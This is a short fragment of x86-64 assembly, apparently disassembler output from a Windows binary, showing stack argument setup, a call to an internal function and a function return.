mov qword [rsp + 0x40], rcx
mov ecx, edi
mov qword [rsp + 0x38], rax
lea rax, [0x140028478]
mov qword [rsp + 0x30], rax
mov rax, qword [0x140038b58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
call fcn.140001d98
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret